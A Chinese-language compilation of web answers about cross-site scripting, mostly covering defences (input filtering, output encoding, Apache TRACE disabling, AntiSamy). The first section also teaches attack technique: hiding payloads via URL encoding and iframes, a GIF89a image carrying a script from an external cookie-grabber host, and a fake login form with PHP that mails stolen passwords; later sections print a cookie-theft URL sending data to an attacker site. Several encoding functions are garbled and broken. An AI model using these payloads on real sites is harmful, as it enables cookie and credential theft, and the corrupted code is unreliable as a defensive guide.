跨站腳本攻擊java
1. 跨站攻擊的如何防範
在你的WEB瀏覽器上禁用java腳本,具體方法,先打開你的IE的internet選項,切換到「安全」頁,有個「自定義」級別,點他出現如下窗口,禁用就可以了。但是好象不太可能,因為一旦禁用,很多功能就喪失了,這個方法是下策。
還有不要訪問包含〈〉字元的連接,當然一些官方的URL不會包括任何腳本元素。
如果你的站點程序含論壇,留言板,以及其他程序中含提交數據格式的,沒有很好過濾機制,請馬上下載升級程序或是停止使用ubb這樣的功能,避免造成更多的問題。
跨站腳本執行漏洞的成因,形式,危害,利用方式,隱藏技巧 這里所說的形式,實際上是指CGI輸入的形式,主要分為兩種:
1.顯示輸入
2.隱式輸入
其中顯示輸入明確要求用戶輸入數據,而隱式輸入則本來並不要求用戶輸入數據,但是用戶卻可以通過輸入數據來進行干涉。
顯示輸入又可以分為兩種:
1. 輸入完成立刻輸出結果
2. 輸入完成先存儲在文本文件或資料庫中,然後再輸出結果
注意:後者可能會讓你的網站面目全非!
而隱式輸入除了一些正常的情況外,還可以利用伺服器或CGI程序處理錯誤信息的方式來實施。 大家最關心的大概就要算這個問題了,下面列舉的可能並不全面,也不系統,但是我想應該是比較典型的吧。
1. 獲取其他用戶Cookie中的敏感數據
2. 屏蔽頁面特定信息
3. 偽造頁面信息
4.拒絕服務攻擊
5. 突破外網內網不同安全設置
6. 與其它漏洞結合,修改系統設置,查看系統文件,執行系統命令等
7. 其它
一般來說,上面的危害還經常伴隨著頁面變形的情況。而所謂跨站腳本執行漏洞,也就是通過別人的網站達到攻擊的效果,也就是說,這種攻擊能在一定程度上隱藏身份。 出於時間的考慮,我在這里將主要講一下理論了,相信不是很難懂,如果實在有問題,那麼去找本書看吧。
1. URL編碼
比較一下:
http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
你覺得哪個更有隱蔽性?!
2. 隱藏在其它對象之下
與直接給別人一個鏈接相比,你是否決定把該鏈接隱藏在按鈕以下更好些呢?
3. 嵌入頁面中
讓別人訪問一個地址(注意這里的地址不同於上面提到的URL),是不是又要比讓別人按一個按鈕容易得多,藉助於Iframe,你可以把這種攻擊變得更隱蔽。
4. 合理利用事件
合理使用事件,在某些情況上可以繞過CGI程序對輸入的限制,比如說前些日子的SecurityFocus的跨站腳本執行漏洞。 一般情況下直接進行類似alert(document.cookie)之類的攻擊沒有什麼問題,但是有時 CGI程序對用戶的輸入進行了一些處理,比如說包含在』』或」」之內,這時我們就需要使用一些小技巧來繞過這些限制。
如果你對HTML語言比較熟悉的話,繞過這些限制應該不成問題。 要避免受到跨站腳本執行漏洞的攻擊,需要程序員和用戶兩方面共同努力:
程序員:
1. 過濾或轉換用戶提交數據中的HTML代碼
2. 限制用戶提交數據的長度
用戶:
1. 不要輕易訪問別人給你的鏈接
2. 禁止瀏覽器運行JavaScript和ActiveX代碼
附:常見瀏覽器修改設置的位置為:
Internet Explorer:
工具->Internet選項->安全->Internet->自定義級別
工具->Internet選項->安全->Intranet->自定義級別
Opera:>文件->快速參數->允許使用Java
文件->快速參數->允許使用插件
文件->快速參數->允許使用JavaScript Q:跨站腳本執行漏洞在哪裡存在?
A:只要是CGI程序,只要允許用戶輸入,就可能存在跨站腳本執行漏洞。
Q:跨站腳本執行漏洞是不是只能偷別人的Cookie?
A:當然不是!HTML代碼能做的,跨站腳本執行漏洞基本都能做。
解決 ubuntu server 的跨站攻擊
apache 默認開啟了TRACE功能(TraceEnable=on),Ubuntu Server也不例外。用x-scan掃描發現此功能存在存在跨站攻擊漏洞,並且提出了解決辦法,在配置文件中添加如下語句:
RewriteEngine on
RewriteCond % ^(TRACE|TRACK)
RewriteRule .* - [F]
問題是不知道該放那裡,找一天都沒發現。嘗試在/etc/apache2/httpd.conf里添加,怎麼都沒反應。網上一般就是打開虛擬機的 AllowOverride,然後在.htaccess文件中添加。但整個配置文件都可以修改,沒理由要這樣做......奇跡就發生在重啟的瞬間,竟然連不上伺服器。跑到實驗室發現,重啟正常,無奈之下竟發現還有一個sites-available的目錄,裡面的default文件才是所謂的配置文件,汗死...
添加後可通過 telnet 127.0.0.1 80 確認是否修復該漏洞,輸入:
TRACE / HTTP/1.1
Host: 202.192.33.250
X-Header: test
回車後返回:
HTTP/1.1 403 Forbidden
Date: Sun, 08 Oct 2006 11:32:11 GMT
Server: Apache/2.0.55 (Ubuntu) php/5.1.2
(註:windows的telnet默認沒有打開輸入回顯) 舉個例子,我們來新建一個hack.gif文件.然後用記事本打開文件,刪除所有的內容,然後寫入代碼
GIF89a<script>alert(XSS)</script>
保存退出.
上傳hack.gif到相就的地方...此時跨站發生
不要用Mozillia Firefox來訪問那張圖片,Mozillia 不會執行我們的alert.要用Internet explorer.
為什麼添加GIF89a ?
因為很多上傳程序會來檢查我們的gif文件是否包含 'GIF89a',如果包括則認為是gif文件.
code:GIF89a<script src=http://lovelaozang.cn/cookiegrabber.php></script>
我們需要知道一些其它格式圖片,頭部所包含的代碼.
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
為了安全不要僅僅只檢查getimagesize() 你是否明白什麼是釣魚?什麼是XSS?
在這個例子里,有必需找到一個易受攻擊的網站去XSS並注入那裡,身於一種形式,以自己直接在網址以下代碼
code:
<p>Enter your login and password, thank:</p>
<form action=http://hax0r.com/mail.php>
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
這個通過這個模仿的表單,然後利用mail.php通過電子郵件把表單里的數據發送給你。
code:
<!DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.0 Transitional//EN http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd>
<html xmlns=http://www.w3.org/1999/xhtml>
<head>
<meta http-equiv=Content-Type content=text/html; charset=iso-8859-1 />
<title>Error</title>
<style type=text/css>
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS[login];
$password = $HTTP_GET_VARS[password];
mail([email protected], Cookie stealed ! - thx xyli :), $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>
2. java怎麼解決跨站腳本xss html entity編碼
跨站漏洞是需要其他正常用戶進入到漏洞頁面,執行了攻擊者構造的惡意JS代碼偷取cookie,假如攻擊者獲得高許可權用戶的cookie就有機會以高許可權用戶的身份進入系統,然後再進一步入侵。
所以治本的方法就是對攻擊者提交的數據進行過濾,不給其執行的機會。
3. Struct2+Spring 架構JavaWeb項目,出現xss跨站腳本攻擊漏洞解決方案
沒用到富文本的話可以用spring里的HtmlUtils.htmlEscape(string str)來對parameter轉碼。是用filter還是其他方式都可以
4. 如何防止跨站點腳本攻擊
防止跨站點腳本攻擊的解決方法:
1.輸入過濾
對每一個用戶的輸入或者請求首部,都要進行過濾。這需要程序員有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2.輸出過濾
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->
<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>
<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>
<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );
3.安裝三方的應用防火牆,可以攔截css攻擊。
附:
跨站腳本不像其他攻擊只包含兩個部分:攻擊者和web站點。
跨站腳本包含三個部分:攻擊者,客戶和web站點。
跨站腳本攻擊的目的是竊取客戶的cookies,或者其他可以證明用戶身份的敏感信息。
攻擊
一個get請求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
會產生如下的結果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果請求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就會得到如下的響應
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
這樣在客戶端會有一段非法的腳本執行,這不具有破壞作用,但是如下的腳本就很危險了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script>
響應如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。
5. Web前端新手應該如何防禦XSS攻擊
今天小編要跟大家分享的文章是關於Web前端新手應該如何防禦XSS攻擊。作為JS系工程師接觸最多的漏洞我想就是XSS漏洞了,然而並不是所有的同學對其都有一個清晰的認識。今天我們分享一下XSS漏洞攻擊,希望能幫助到大家。下面我們來一起看一看吧!一、什麼是XSS攻擊XSS(Cross-SiteScripting)又稱跨站腳本,XSS的重點不在於跨站點,而是在於腳本的執行。XSS是一種經常出現在Web應用程序中的計算機安全漏洞,是由於Web應用程序對用戶的輸入過濾不足而產生的。
常見的XSS攻擊有三種:反射型、DOM-based型、存儲型。其中反射型、DOM-based型可以歸類為非持久型XSS攻擊,存儲型歸類為持久型XSS攻擊。
1、反射型
反射型XSS一般是攻擊者通過特定手法(如電子郵件),誘使用戶去訪問一個包含惡意代碼的URL,當受害者點擊這些專門設計的鏈接的時候,惡意代碼會直接在受害者主機上的瀏覽器執行。
對於訪問者而言是一次性的,具體表現在我們把我們的惡意腳本通過URL的方式傳遞給了伺服器,而伺服器則只是不加處理的把腳本「反射」回訪問者的瀏覽器而使訪問者的瀏覽器執行相應的腳本。反射型XSS的觸發有後端的參與,要避免反射性XSS,必須需要後端的協調,後端解析前端的數據時首先做相關的字串檢測和轉義處理。
此類XSS通常出現在網站的搜索欄、用戶登錄口等地方,常用來竊取客戶端Cookies或進行釣魚欺騙。
整個攻擊過程大約如下:
2、DOM-based型
客戶端的腳本程序可以動態地檢查和修改頁面內容,而不依賴於伺服器端的數據。例如客戶端如從URL中提取數據並在本地執行,如果用戶在客戶端輸入的數據包含了惡意的JavaScript腳本,而這些腳本沒有經過適當的過濾和消毒,那麼應用程序就可能受到DOM-basedXSS攻擊。需要特別注意以下的用戶輸入源document.URL、location.hash、location.search、document.referrer等。
整個攻擊過程大約如下:
3、存儲型
攻擊者事先將惡意代碼上傳或儲存到漏洞伺服器中,只要受害者瀏覽包含此惡意代碼的頁面就會執行惡意代碼。這就意味著只要訪問了這個頁面的訪客,都有可能會執行這段惡意腳本,因此儲存型XSS的危害會更大。
存儲型XSS一般出現在網站留言、評論、博客日誌等交互處,惡意腳本存儲到客戶端或者服務端的資料庫中。
整個攻擊過程大約如下:
二、XSS攻擊的危害XSS可以導致:
1、攻擊劫持訪問;
2、盜用cookie實現無密碼登錄;
3、配合csrf攻擊完成惡意請求;
4、使用js或css破壞頁面正常的結構與樣式等;三、防禦方法1、XSS防禦之HTML編碼
應用范圍:將不可信數據放入到HTML標簽內(例如div、span等)的時候進行HTML編碼。
編碼規則:將&<>"'/轉義為實體字元(或者十進制、十六進制)。
示例代碼:
_unction_ncodeForHTML(str,_wargs){
__return(''+_tr)
___.replace(/&/g,'&')
___.replace(/<_EX=><_ntity=><
___.replace(/>/g,'>')
___.replace(/"/g,'"')
___.replace(/'/g,''')_//'_煌萍觶蛭輝_TML規范中
___.replace(///g,'/');
_};
HTML有三種編碼表現方式:十進制、十六進制、命名實體。例如小於號(<)可以編碼為"十進制><","十六進制=><","命名實體=><"三種方式。對於單引號(')由於實體字元編碼方式不在HTML規范中,所以此處使用了十六進制編碼。
2、XSS防禦之HTMLAttribute編碼
應用范圍:將不可信數據放入HTML屬性時(不含src、href、style和事件處理屬性),進行HTMLAttribute編碼
編碼規則:除了字母數字字元以外,使用HH;(或者可用的命名實體)格式來轉義ASCII值小於256所有的字元
示例代碼:
_unction_ncodeForHTMLAttibute(str,_wargs){
__let_ncoded=''
__for(let_=0;_<_tr.length;_++)_
___let_h=_ex=_tr[i];
___if(!/[A-Za-z0-9]/.test(str[i])&&_tr.charCodeAt(i)<256)_
____hex=''+_h.charCodeAt(0).toString(16)+''
___}
___encoded+=_ex;
__}
__return_ncoded;
_};
3、XSS防禦之JavaScript編碼
作用范圍:將不可信數據放入事件處理屬性、JavaScirpt值時進行JavaScript編碼
編碼規則:除字母數字字元外,請使用xHH格式轉義ASCII碼小於256的所有字元
示例代碼:
_unction_ncodeForJavascript(str,_wargs)_
__let_ncoded=''
__for(let_=0;_<_tr.length;_++)_
___let_c=_ex=_tr[i];
___if(!/[A-Za-z0-9]/.test(str[i])&&_tr.charCodeAt(i)<256)_
____hex='\x'+_c.charCodeAt().toString(16);
___}
___encoded+=_ex;
__}
__return_ncoded;
_};
4、XSS防禦之URL編碼
作用范圍:將不可信數據作為URL參數值時需要對參數進行URL編碼
編碼規則:將參數值進行encodeURIComponent編碼
示例代碼:
_function_ncodeForURL(str,_wargs){
__return_ncodeURIComponent(str);
_};
5、XSS防禦之CSS編碼
作用范圍:將不可信數據作為CSS時進行CSS編碼
編碼規則:除了字母數字字元以外,使用XXXXXX格式來轉義ASCII值小於256的所有字元
示例代碼:
_unction_ncodeForCSS(attr,_tr,_wargs){
__let_ncoded=''
__for(let_=0;_<_tr.length;_++)_
___let_h=_tr.charAt(i);
___if(!ch.match(/[a-zA-Z0-9]/)_
____let_ex=_tr.charCodeAt(i).toString(16);
____let_ad='.substr((hex.length));
____encoded+='\'+_ad+_ex;
___}_lse_
____encoded+=_h;
___}
__}
__return_ncoded;
_};後記在任何時候用戶的輸入都是不可信的。對於HTTP參數,理論上都要進行驗證,例如某個欄位是枚舉類型,其就不應該出現枚舉以為的值;對於不可信數據的輸出要進行相應的編碼;此外httpOnly、CSP、X-XSS-Protection、SecureCookie等也可以起到有效的防護。
XSS漏洞有時比較難發現,所幸當下React、Vue等框架都從框架層面引入了XSS防禦機制,一定程度上解放了我們的雙手。但是作為開發人員依然要了解XSS基本知識、於細節處避免製造XSS漏洞。框架是輔助,我們仍需以人為本,規范開發習慣,提高Web前端安全意識。
以上就是小編今天為大家分享的關於Web前端新手應該如何防禦XSS攻擊的文章,希望本篇文章能夠對正在從事web前端工作的小夥伴們有所幫助。想要了解更多web前端相關知識記得關注北大青鳥web培訓官網。最後祝願小夥伴們工作順利!
作者:公子
鏈接:#/a/1190000017057646
6. 跨站腳本攻擊(XSS)java Web 如何防護
網路中的
No.1
– 不要在允許位置插入不可信數據
No.2
– 在向HTML元素內容插入不可信數據前對HTML解碼
No.3
– 在向HTML常見屬性插入不可信數據前進行屬性解碼
No.4
– 在向HTML JavaScript Data Values插入不可信數據前,進行JavaScript解碼
No.5
– 在向HTML 樣式屬性值插入不可信數居前,進行CSS解碼
No.6
- 在向HTML URL屬性插入不可信數據前,進行URL解碼
7. 如何防止跨站點腳本攻擊
防止跨站點腳本攻擊的解決方法: 1.輸入過濾 對每一個用戶的輸入或者請求首部,都要進行過濾。這需要程序員有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。 final String filterPattern="[<>{}\\[\\];\\&]"; String inputStr = s.replaceAll(filterPattern," "); 2.輸出過濾 public static String encode(String data) { final StringBuffer buf = new StringBuffer(); final char[] chars = data.toCharArray(); for (int i = 0; i < chars.length; i++) { buf.append("" + (int) chars[i]); } return buf.toString(); } public static String decodeHex(final String data, final String charEncoding) { if (data == null) { return null; } byte[] inBytes = null; try { inBytes = data.getBytes(charEncoding); } catch (UnsupportedEncodingException e) { //use default charset inBytes = data.getBytes(); } byte[] outBytes = new byte[inBytes.length]; int b1; int b2; int j=0; for (int i = 0; i < inBytes.length; i++) { if (inBytes[i] == '%') { b1 = Character.digit((char) inBytes[++i], 16); b2 = Character.digit((char) inBytes[++i], 16); outBytes[j++] = (byte) (((b1 & 0xf) << 4) + (b2 & 0xf)); } else { outBytes[j++] = inBytes[i]; } } String encodedStr = null; try { encodedStr = new String(outBytes, 0, j, charEncoding); } catch (UnsupportedEncodingException e) { encodedStr = new String(outBytes, 0, j); } return encodedStr; } <!-- Maps the 404 Not Found response code to the error page /errPage404 --> <error-page> <error-code>404</error-code> <location>/errPage404</location> </error-page> <!-- Maps any thrown ServletExceptions to the error page /errPageServ --> <error-page> <exception-type>javax.servlet.ServletException</exception-type> <location>/errPageServ</location> </error-page> <!-- Maps any other thrown exceptions to a generic error page /errPageGeneric --> <error-page> <exception-type>java.lang.Throwable</exception-type> <location>/errPageGeneric</location> </error-page> 任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。 Throwable throwable = (Throwable) request.getAttribute("javax.servlet.error.exception"); String status_code = ((Integer) request.getAttribute("javax.servlet.error.status_code")).toString( ); 3.安裝三方的應用防火牆,可以攔截css攻擊。 附: 跨站腳本不像其他攻擊只包含兩個部分:攻擊者和web站點。 跨站腳本包含三個部分:攻擊者,客戶和web站點。 跨站腳本攻擊的目的是竊取客戶的cookies,或者其他可以證明用戶身份的敏感信息。 攻擊 一個get請求 GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: www.vulnerable.site 會產生如下的結果 <HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system ... </HTML> 但是如果請求被篡改 GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.vulnerable.site 就會得到如下的響應 <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system ... </HTML> 這樣在客戶端會有一段非法的腳本執行,這不具有破壞作用,但是如下的腳本就很危險了。 http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script> 響應如下: <HTML> <Title>Welcome!</Title> Hi <script>window.open(「www.attacker.site/collect.cgi?cookie=」+document.cookie)</script> <BR> Welcome to our system ... </HTML> 瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。
8. 什麼是xss攻擊
一、什麼是跨站腳本攻擊
跨站腳本攻擊(Cross Site Scripting)縮寫為CSS,但這會與層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆。通常將跨站腳本攻擊縮寫為XSS。
跨站腳本攻擊(XSS),是最普遍的Web應用安全漏洞。這類漏洞能夠使得攻擊者嵌入惡意腳本代碼到正常用戶會訪問到的頁面中,當正常用戶訪問該頁面時,則可導致嵌入的惡意腳本代碼的執行,從而達到惡意攻擊用戶的目的。
二、跨站腳本攻擊的種類
從攻擊代碼的工作方式可以分為三個類型:
1、持久型跨站:最直接的危害類型,跨站代碼存儲在伺服器(資料庫)。
2、非持久型跨站:反射型跨站腳本漏洞,最普遍的類型。用戶訪問伺服器-跨站鏈接-返回跨站代碼。
3、DOM跨站(DOM XSS):DOM(document object model文檔對象模型),客戶端腳本處理邏輯導致的安全問題。
三、跨站腳本攻擊的手段和目的
常用的XSS攻擊手段和目的有:
1、盜用cookie,獲取敏感信息。
2、利用植入Flash,通過crossdomain許可權設置進一步獲取更高許可權;或者利用Java等得到類似的操作。
3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊)用戶的身份執行一些管理動作,或執行一些一般的如發微博、加好友、發私信等操作。
4、利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。
5、在訪問量極大的一些頁面上的XSS可以攻擊一些小型網站,實現DDoS攻擊的效果。
四、跨站腳本攻擊的防禦
XSS攻擊主要是由程序漏洞造成的,要完全防止XSS安全漏洞主要依靠程序員較高的編程能力和安全意識,當然安全的軟體開發流程及其他一些編程安全原則也可以大大減少XSS安全漏洞的發生。這些防範XSS漏洞原則包括:
1、不信任用戶提交的任何內容,對所有用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、REFER、POST數據等,僅接受指定長度范圍內、採用適當格式、採用所預期的字元的內容提交,對其他的一律過濾。盡量採用POST而非GET提交表單;對「<」,「>」,「;」,「」」等字元做過濾;任何內容輸出到頁面之前都必須加以en-code,避免不小心把htmltag顯示出來。
2、實現Session 標記(session tokens)、CAPTCHA(驗證碼)系統或者HTTP引用頭檢查,以防功能被第三方網站所執行,對於用戶提交信息的中的img等link,檢查是否有重定向回本站、不是真的圖片等可疑操作。
3、cookie 防盜。避免直接在cookie中泄露用戶隱私,例如email、密碼,等等;通過使cookie和系統IP綁定來降低cookie泄露後的危險。這樣攻擊者得到的cookie沒有實際價值,很難拿來直接進行重放攻擊。
4、確認接收的內容被妥善地規范化,僅包含最小的、安全的Tag(沒有JavaScript),去掉任何對遠程內容的引用(尤其是樣式表和JavaScript),使用HTTPonly的cookie。
9. 怎樣過濾跨站惡意腳本攻擊
1. 在輸入流中截住form data中的惡意腳本
研究兩種XSS攻擊,如反射型和存儲型XSS攻擊,其惡意腳本都是來自用戶的輸入。因此,可以使用過濾用戶輸入的方法對惡意腳本進行過濾。對簡單的HTTP請求,一般使用GET和POST方法。
2. 在輸入流中檢測濾掉來自其他網站的URL中的惡意腳本
當用戶不小心點擊了被其他黑客提供的假冒URL,則可能在該URL中注入惡意腳本。因此,也需要對這種情況進行處理。因此為確保其他在header中的惡意腳本,需要對request.getHeader進行重寫。以下為例子:
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null)
return null;
return xssClean(value);
}
3. xssClean函數怎樣實現才可以過濾掉惡意腳本呢?
如果是java語言,推薦使用antisamy。使用antisamy進行XSS清理非常簡單,只需要簡單的幾個步驟即可達到目的。
1『. 在pom.xml文件中加入antisamy的dependency,
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>1.5.3</version>
</dependency>
2』. 加入了dependency之後,就可以在xssClean中加入antisamy對惡意腳本進行清理。其中policy.xml是白名單,policy.xml中規定了各個html元素所必須滿足的條件。antisamy的精髓之處在於,使用policy文件來規定你的過濾條件,若輸入字元串不滿足policy文件中的條件,則會過濾掉字元中的惡意腳本,返回過濾後的結果。具體代碼如下:
private String xssClean(String value) {
AntiSamy antiSamy = new AntiSamy();
try {
final CleanResults cr = antiSamy.scan(value, Policy.getInstance("policy.xml"), AntiSamy.SAX);
return cr.getCleanHTML();
} catch (ScanException e) {
e.printStackTrace();
} catch (PolicyException e) {
e.printStackTrace();
}
return value;
}
這樣,我們就將client端用戶輸入的request,在server端進行了攔截,並且進行了過濾。